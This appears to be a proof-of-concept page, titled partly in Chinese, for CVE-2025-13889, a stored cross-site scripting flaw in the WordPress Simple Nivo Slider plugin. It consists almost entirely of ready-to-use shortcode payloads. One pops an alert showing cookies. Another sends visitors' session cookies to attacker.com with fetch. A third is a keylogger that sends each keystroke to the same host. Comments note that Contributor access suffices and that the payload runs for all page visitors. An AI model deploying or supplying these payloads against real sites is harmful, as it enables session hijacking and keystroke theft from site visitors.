CVE-2025-13889 WordPress Simple Nivo Slider插件存储型XSS漏洞

<!-- Stored XSS PoC for CVE-2025-13889 --> <!-- Author: Contributor or higher privilege user --> <!-- Basic XSS PoC - Insert in WordPress post/page content --> [simple-nivo-slider id='"><script>alert(document.cookie)</script>'] <!-- Steal session cookies - More sophisticated attack --> [simple-nivo-slider id='"><img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">'] <!-- Keylogger PoC --> [simple-nivo-slider id='"><script>document.onkeypress=function(e){new Image().src='https://attacker.com/log?k='+e.key}</script>'] <!-- Attack requires Contributor-level access in WordPress --> <!-- The malicious shortcode is stored in database and executed for all page visitors -->